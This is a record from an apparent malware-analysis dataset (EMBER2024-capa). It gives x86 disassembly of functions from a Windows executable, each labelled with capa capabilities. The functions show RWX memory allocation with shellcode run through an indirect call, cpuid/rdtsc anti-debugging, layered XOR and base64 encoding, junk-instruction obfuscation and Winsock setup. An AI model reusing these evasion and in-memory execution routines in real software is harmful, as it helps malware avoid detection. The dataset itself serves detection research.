joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406e95
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push 0x1c
call fcn.004318b0
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0
jmp 0x406ed4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov dword [ebp - 0xc], esp
mov eax, 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0x1c
push dword [ebp - 4]
push 3
xor eax, eax
call dword [0x460d57]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x406f80
push 0x30
push 0x406a912
push 6
call fcn.004318a4
add esp, 0xc
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0xc]
fild qword [ebx]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
fild qword [ebx]
fstp qword [ebp - 0x20]
fsub qword [ebp - 0x20]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fdiv qword [0x45e7ef]
fstp qword [ebp - 0x30]
push 0x80000601
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push 1
mov ebx, 0x9dc
call fcn.004334d0
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x40700b
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret

Function at 0x40865b
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push 0
push 0
push 0
push 4
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4086b2
push 0x2b
push 0x406aa48
push 6
call fcn.004318a4
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4086c9
mov eax, 0x45e393
jmp 0x408755
push 0x80000301
push 0
push dword [ebp + 0xc]
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0x910
call fcn.004341c0
add esp, 0x1c
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x408706
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x408736
push 0xf2
push 0x406aa48
push 6
call fcn.004318a4
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x408750
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004318b0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x408755
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x408766
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x40931f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x40935d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x4093e3
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004318b0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4093f4
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x40940b
mov eax, 0x45e393
push eax
push 1
mov ebx, 0x194
call fcn.00432e60
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
call fcn.00402d63
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
push 1
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.004095a3
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x409488
push 0x166
push 0x406a957
push 6
call fcn.004318a4
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0xa0000101
push 0
push 0x45e871
push 3
mov ebx, 0x914
call fcn.00434070
add esp, 0x28
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x409507
push 0xa79
push 0x406a957
push 6
call fcn.004318a4
add esp, 0xc
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x40953d
push 0xaa5
push 0x406a957
push 6
call fcn.004318a4
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x409557
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004318b0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x40958b
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40959c
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4117ce
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
nop
nop
cmp dword [ebp - 4], esp
je 0x411805
push 0x24
push 0x406aa9d
push 6
call fcn.004318a4
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
mov eax, 0
setne al
jmp 0x411819
mov esp, ebp
pop ebp
ret 4
Function at 0x412dcd
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0x40
call fcn.004318b0
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
mov dword [ebx], 0x40
mov dword [ebp - 8], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
nop
nop
cmp dword [ebp - 8], esp
je 0x412e2e
push 0x2c
push 0x406aa54
push 6
call fcn.004318a4
add esp, 0xc
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
fild qword [ebx]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fdiv qword [0x45f1ce]
fstp qword [ebp - 0x18]
push 0x80000601
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 1
mov ebx, 0x9dc
call fcn.004334d0
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x168
call fcn.00432f50
add esp, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
jmp 0x412e8d
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x4183ee
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [0x460ddf]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x418431
push 0x19
push 0x406a931
push 6
call fcn.004318a4
add esp, 0xc
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.00432ea0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x418467
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov dword [ebp - 8], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fadd qword [0x45e3d5]
fstp qword [ebp - 0x18]
mov dword [ebp - 0x1c], esp
fld qword [ebp - 0x18]
call fcn.00402bc3
push eax
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x4184b5
push 0x88
push 0x406a931
push 6
call fcn.004318a4
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x4184d1
push eax
mov ebx, eax
call fcn.00401392
inc eax
push eax
call fcn.004318b0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4184d6
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4184e7
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x41b46c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x41b4aa
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x41b530
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004318b0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41b541
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x41b558
mov eax, 0x45e393
push eax
push 1
mov ebx, 0x194
call fcn.00432e60
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
call fcn.00402d63
mov dword [ebp - 0xc], eax
push 1
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.004095a3
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41b5c7
push 0x165
push 0x406a956
push 6
call fcn.004318a4
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0xa0000101
push 0
push 0x45f3ae
push 3
mov ebx, 0x914
call fcn.00434070
add esp, 0x28
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41b646
push 0xbc5
push 0x406a956
push 6
call fcn.004318a4
add esp, 0xc
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41b67c
push 0xbf1
push 0x406a956
push 6
call fcn.004318a4
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x41b696
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004318b0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41b6ca
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41b6db
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x14
Function at 0x41b84d
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x41b86f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
mov dword [ebp - 4], 0
nop
push eax
push ecx
push edx
push ebx
push esi
push edi
nop
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
mov esi, ecx
nop
pop edx
pop ecx
pop ebx
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x64]
add esi, eax
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, al
add esi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, dl
add esi, ebx
nop
nop
imul esi, esi, 0x88
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
imul edx, edx, 6
add esi, edx
nop
nop
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
imul ecx, ecx, 9
add esi, ecx
pop edx
pop ecx
pop ebx
nop
nop
nop
xor esi, 0x124254
mov dword [ebp - 4], esi
pop edi
pop esi
pop ebx
pop edx
pop ecx
pop eax
nop
nop
nop
mov eax, dword [ebp - 4]
jmp 0x41b9aa
mov esp, ebp
pop ebp
ret
Function at 0x41d725
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
jmp 0x41d73a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
push edx
push ecx
push esi
xor esi, esi
mov eax, dword [ebp + 8]
lea ecx, ds:[esi*4]
mov ecx, dword [eax + ecx]
xor ecx, 0x27ac161c
xor ecx, 0x6d794277
xor ecx, 0x8e2cef3
xor ecx, 0x245634b1
xor ecx, 0x1bfc1f4b
xor ecx, 0x29ca720c
xor ecx, 0x520a66a1
xor ecx, 0x17aa8e77
xor ecx, 0x244da9a
xor ecx, 0x34e45c0f
xor ecx, 0x18b0920d
xor ecx, 0x50064a97
xor ecx, 0x6834a945
xor ecx, 0x3d826778
xor ecx, 0x36605039
xor ecx, 0x6f7988de
xor ecx, 0x4528972e
xor ecx, 0x32573b5e
xor ecx, 0x31790f4c
xor ecx, 0x23993006
xor ecx, 0x8f538a0
xor ecx, 0x38f2b2e5
xor ecx, 0x691cac26
xor ecx, 0x61893f92
xor ecx, 0x7f536b8e
xor ecx, 0x7bb53b84
xor ecx, 0x7d3cde2d
xor ecx, 0x5d95ac79
xor ecx, 0x23a3f12a
nop
nop
nop
nop
nop
nop
lea edx, ds:[esi*4]
mov dword [eax + edx], ecx
add esi, 1
cmp esi, dword [ebp + 0xc]
jne 0x41d7ac
pop esi
pop ecx
pop edx
nop
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x41d8af
nop
nop
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret 8

Function at 0x41d8bb
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
jmp 0x41d8d0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push ebx
mov ebx, 1
mov ebx, 2
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 5
pop ebx
push esi
xor esi, esi
nop
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
add esi, ecx
nop
nop
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
mov eax, 1
xor edx, edx
cpuid
add esi, edx
xor esi, eax
rdtsc
add esi, edx
xor esi, 0x6c72938e
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
add esi, ecx
nop
nop
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
mov eax, 1
xor edx, edx
cpuid
add esi, edx
xor esi, eax
rdtsc
add esi, edx
xor esi, 0x7fe44dec
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41efb7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
jmp 0x41efcc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push ebx
mov ebx, 1
mov ebx, 2
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 5
pop ebx
push edx
push ecx
push esi
xor esi, esi
mov eax, dword [ebp + 8]
lea ecx, ds:[esi*4]
mov ecx, dword [eax + ecx]
xor ecx, 0x24bd323f
xor ecx, 0x1f429f1a
xor ecx, 0x11de52e8
xor ecx, 0x7df789a0
xor ecx, 0x6aa97406
xor ecx, 0x521a8fb5
xor ecx, 0x4e273f25
xor ecx, 0x1e986666
xor ecx, 0x565c390
xor ecx, 0x21b9661d
xor ecx, 0x2d801da4
xor ecx, 0x51fdea74
xor ecx, 0x1ac38fc5
xor ecx, 0x2307c2a4
xor ecx, 0xe9e4f25
xor ecx, 0x6cbd1cc9
xor ecx, 0x3b6157bf
xor ecx, 0x32e83f5a
xor ecx, 0x5d23143c
xor ecx, 0x1e34971f
xor ecx, 0x712062b0
xor ecx, 0x37b21731
xor ecx, 0x1ffe0fcc
xor ecx, 0x7e550e70
xor ecx, 0x30dbf999
xor ecx, 0x23a3f12a
xor ecx, 0x5d95ac79
xor ecx, 0x7d3cde2d
xor ecx, 0x7bb53b84
nop
nop
nop
nop
nop
nop
lea edx, ds:[esi*4]
mov dword [eax + edx], ecx
add esi, 1
cmp esi, dword [ebp + 0xc]
jne 0x41f03e
pop esi
pop ecx
pop edx
nop
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x41f141
nop
nop
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret 8
Function at 0x4231a6
Capabilities:
Contain obfuscated stackstrings
Decode data using base64 via vbmi lookup table
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x84
push ebx
mov ebx, dword [esp + 0x98]
push esi
xor ecx, ecx
xor esi, esi
xor edx, edx
push edi
mov dword [esp + 0xc], 0x7f7f7f7f
mov dword [esp + 0x10], 0x7f7f7f7f
mov dword [esp + 0x14], 0x7f7f7f7f
mov dword [esp + 0x18], 0x7f7f7f7f
mov dword [esp + 0x1c], 0x7f7f7f7f
mov dword [esp + 0x20], 0x7f7f7f7f
mov dword [esp + 0x24], 0x7f7f7f7f
mov dword [esp + 0x28], 0x7f7f7f7f
mov dword [esp + 0x2c], 0x7f7f7f7f
mov dword [esp + 0x30], 0x7f7f7f7f
mov dword [esp + 0x34], 0x3e7f7f7f
mov dword [esp + 0x38], 0x3f7f7f7f
mov dword [esp + 0x3c], 0x37363534
mov dword [esp + 0x40], 0x3b3a3938
mov dword [esp + 0x44], 0x7f7f3d3c
mov dword [esp + 0x48], 0x7f7f407f
mov dword [esp + 0x4c], 0x201007f
mov dword [esp + 0x50], 0x6050403
mov dword [esp + 0x54], 0xa090807
mov dword [esp + 0x58], 0xe0d0c0b
mov dword [esp + 0x5c], 0x1211100f
mov dword [esp + 0x60], 0x16151413
mov dword [esp + 0x64], 0x7f191817
mov dword [esp + 0x68], 0x7f7f7f7f
mov dword [esp + 0x6c], 0x1c1b1a7f
mov dword [esp + 0x70], 0x201f1e1d
mov dword [esp + 0x74], 0x24232221
mov dword [esp + 0x78], 0x28272625
mov dword [esp + 0x7c], 0x2c2b2a29
mov dword [esp + 0x80], 0x302f2e2d
mov dword [esp + 0x84], 0x7f333231
mov dword [esp + 0x88], 0x7f7f7f7f
test ebx, ebx
je 0x4233f3
mov edi, dword [esp + 0x9c]
mov edi, edi
mov eax, ebx
sub eax, edx
cmp eax, 2
jb 0x4232f0
cmp byte [edx + edi], 0xd
jne 0x4232f0
cmp byte [edx + edi + 1], 0xa
je 0x423329
mov al, byte [edx + edi]
cmp al, 0xa
je 0x423329
cmp al, 0x3d
jne 0x423305
inc ecx
cmp ecx, 2
ja 0x423401
cmp al, 0x7f
ja 0x423401
movzx eax, al
mov al, byte [esp + eax + 0xc]
cmp al, 0x7f
je 0x423401
cmp al, 0x40
jae 0x423328
test ecx, ecx
jne 0x423401
inc esi
inc edx
cmp edx, ebx
jb 0x4232da
test esi, esi
je 0x4233f3
mov ecx, dword [esp + 0x98]
lea eax, [esi + esi*2]
mov esi, dword [esp + 0x94]
lea eax, [eax*2 + 7]
shr eax, 3
test esi, esi
je 0x423412
cmp dword [ecx], eax
jb 0x423412
xor eax, eax
xor ebx, ebx
push ebp
mov ebp, 3
mov dword [esp + 0x90], eax
test edx, edx
je 0x4233e2
lea esp, [esp]
mov al, byte [edi]
cmp al, 0xd
je 0x4233de
cmp al, 0xa
je 0x4233de
movzx eax, al
mov cl, byte [esp + eax + 0x10]
xor eax, eax
cmp cl, 0x40
sete al
shl ebx, 6
sub ebp, eax
movzx eax, cl
mov ecx, dword [esp + 0x90]
and eax, 0x3f
inc ecx
or ebx, eax
mov dword [esp + 0x90], ecx
cmp ecx, 4
jne 0x4233de
xor eax, eax
mov dword [esp + 0x90], eax
test ebp, ebp
je 0x4233c9
mov eax, ebx
shr eax, 0x10
mov byte [esi], al
inc esi
cmp ebp, 1
jbe 0x4233d6
mov eax, ebx
shr eax, 8
mov byte [esi], al
inc esi
cmp ebp, 2
jbe 0x4233de
mov byte [esi], bl
inc esi
inc edi
dec edx
jne 0x42337a
sub esi, dword [esp + 0x98]
mov eax, dword [esp + 0x9c]
pop ebp
mov dword [eax], esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov dword [ecx], eax
or eax, 0xffffffff
pop ebx
add esp, 0x84
ret 0x10
Function at 0x4252bd
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
jmp 0x4252df
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
fninit
mov dword [ebp - 8], esp
push 0
xor eax, eax
call dword [0x460d53]
nop
nop
cmp dword [ebp - 8], esp
je 0x42534a
push 0x3f
push 0x406a9b5
push 6
call fcn.004318a4
add esp, 0xc
push 0x80000301
push 0
push dword [0x460c23]
push 1
mov ebx, 0xc
mov eax, 0x437710
call fcn.004323e0
add esp, 0x10
push dword [ebp + 8]
call fcn.0041fdc8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x42538d
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x460c23]
push 1
mov ebx, 0x10
mov eax, 0x437730
call fcn.004323e0
add esp, 0x10
mov eax, dword [ebp - 4]
test eax, eax
je 0x4253d1
push eax
mov ebx, eax
call fcn.00401392
inc eax
push eax
call fcn.004318b0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x425405
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x425416
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4257df
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
jmp 0x425801
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
fninit
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1bc
call fcn.00432e70
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4258a2
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.00402d63
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push 0x101
xor eax, eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4258e3
push 0xce
push 0x406a90b
push 6
call fcn.004318a4
add esp, 0xc
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
push 0x45fed9
push 2
mov ebx, 0x138
call fcn.00434f60
add esp, 0x1c
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00416a4c
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42592c
push ebx
call fcn.004318b6
add esp, 4
mov eax, dword [ebp - 0xc]
mov dword [0x460ce7], eax
push 0x80000301
push 0
push 0x80
push 0x80000301
push 0
push 8
push 2
mov ebx, 0xc8
call fcn.00432480
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
call fcn.00404d40
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x425986
push ebx
call fcn.004318b6
add esp, 4
push 0
mov ebx, 4
mov eax, 0x437680
call fcn.004323e0
add esp, 4
mov dword [0x460cef], eax
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x4259cb
nop
nop
nop
nop
nop
nop
call fcn.004259f6
mov eax, 0
jmp 0x4259e0
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4259f1
push ebx
call fcn.004318b6
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret